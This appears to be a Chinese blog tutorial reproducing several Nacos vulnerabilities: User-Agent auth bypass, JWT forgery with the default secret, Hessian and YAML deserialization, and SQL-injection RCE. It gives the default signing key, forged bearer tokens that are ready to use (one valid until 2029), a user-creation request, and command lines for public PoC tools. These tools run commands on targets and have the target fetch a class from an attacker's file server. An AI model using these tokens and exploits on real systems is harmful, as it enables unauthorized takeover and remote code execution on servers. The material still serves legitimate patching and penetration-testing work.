Nacos安全漏洞全系列复现

Nacos

1.默认口令

2.浏览器代理身份绕过(nacos<1.4.1)

  • 将User-Agent: 更改为 Nacos-Server 即可绕过身份认证
  • 以下为用户查询接口

image-20240716013004240

  • 添加用户接口

  • POST /nacos/v1/auth/users?username=takake&password=123456 HTTP/1.1

image-20240716013306514

3.JWT伪造身份绕过(0.1.0<=nacos<=2.2.0)

3.1.原理

  • nacos通过jwt进行身份认证,由于配置文件中存在默认jwt签名密钥,由于开发者安全意思不强,可能并未更换该签名密钥,导致可伪造jwt从而绕过身份认证。
  • 配置文件中默认密钥为:SecretKey012345678901234567890123456789012345678901234567890123456789

image-20240716003531332

  • JWT例子:eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTA3MTgxMH0.7GxAECoXkD0l1nhfgpehIn6nypHrBe3FzBlwvVYY1f4
1
2
3
4
5
6
7
8
9
10
11
//头部
{
"alg": "HS256"
}
//body exp为过期时间搓,需要大于现在的时间
{
"sub": "nacos",
"exp": 1721071810
}
//签名密钥
SecretKey012345678901234567890123456789012345678901234567890123456789

可以使用https://jwt.io/ 网站进行位置(通常需要base64编码)

image-20240716005244207

3.2.实际操作步骤

3.2.1.访问登陆接口

3.2.2.抓取登陆请求包

  • 用户名和密码可以任意输入

image-20240716005631428

3.2.3.添加授权自定义头

  • 自定义请求头的值为Bearer [伪造的JWT值]
1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTA3MTgxMH0.7GxAECoXkD0l1nhfgpehIn6nypHrBe3FzBlwvVYY1f4

image-20240716010031571

  • 添加Authorization后放包,之后请求的包也直接转发即可,返回网页登陆成功。

  • 小tip:由于未验证时间搓的长度,因此我们可以添加一个几年后的一个时间搓,这样下次则可以不用现场伪造,直接设置提前伪造好的JWT即可

    2029年过期的JWT:Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo

4.Nacos Hessian反序列化漏洞(1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3)

  • nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致rce
  • nacos 1.x在单机模式下默认不开放7848端口,但是集群模式下受影响。
  • 2.x版本无论单机还是集群均开放7848端口
  • 主要受影响的是7848端口的Jraft服务。
  • 当使用docker未映射7848端口时也不受影响

4.1.下载POC

  • POC下载地址以及文档简介

https://github.com/c0olw/NacosRce

4.2.反序列化注入

  • 需要使用JDK1.8
1
java -jar NacosRce.jar http://192.168.10.128:8848/nacos  7848 "whoami"

image-20240716015100814

5.Nacos-Client Yaml反序列化(nacos<1.4.2)

​ 而根据PR的描述内容可知实际上该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。

https://xz.aliyun.com/t/10355

6.Nacos 基于SQL注入漏洞的RCE(目前所有版本,<2.4.0)

6.1复现

  • 该漏洞是基于SQL注入而产生的RCE,其中需要开启一个文件服务。

  • POC下载路径:https://github.com/FFR66/Nacos_Rce

  • POC基于python代码,需要下载相关依赖

image-20240717224437823

  • Poc需要使用flask启动一个文件服务,用于目标反弹,进行上传一个java命令执行类,其中config.py用于配置反弹服务器的ip和端口号。

  • config.py

1
2
server_host = '0.0.0.0'
server_port = 5000
  • service.py则用于启动文件服务,其中。
  • 启动命令为
1
$ python ./service.py

image-20240717224942641

image-20240717225235594

  • 而Nacos_Rce.py用于进行连续的SQL注入,爆破上传生成的临时文件名,进行命令执行。-u 后面接目标端口和ip,-c 后面接要执行的命令。
1
python .\Nacos_Rce.py -t 启动文件服务的ip地址 -p 5000 -u http://xxx.xxx.xxx -c whoami
  • 当系统为未授权访问时,可直接触发RCE。

image-20240717232725486

image-20240717230415524

  • 若显示未知用户或者未找到用户则表示,nacos启用了鉴权需要伪造JWT

image-20240717232328028

  • 若系统需要登陆验证需要使用JWT伪造绕过登陆授权(详情看第三部分,需要小于等于2.2.0版本),这里我们也可以使用提前伪造好的2029年才过期的JWT:
1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo
  • 在POC文件Nacos_Rce.py文件中设置请求头即可。

image-20240717232555715

  • 通过命令启动Nacos_Rce.py

image-20240717232821255

6.2.注意

  • 高版本token头为:AccessToken,低版本头为Authorization。

  • 根据我目前的测试,只要能够绕过登陆授权,均可RCE。

  • 若启用了登陆验证,需要使用JWT伪造,若无法伪造,知道用户名和密码,可以登陆获取token填入header中。

image-20240717235929304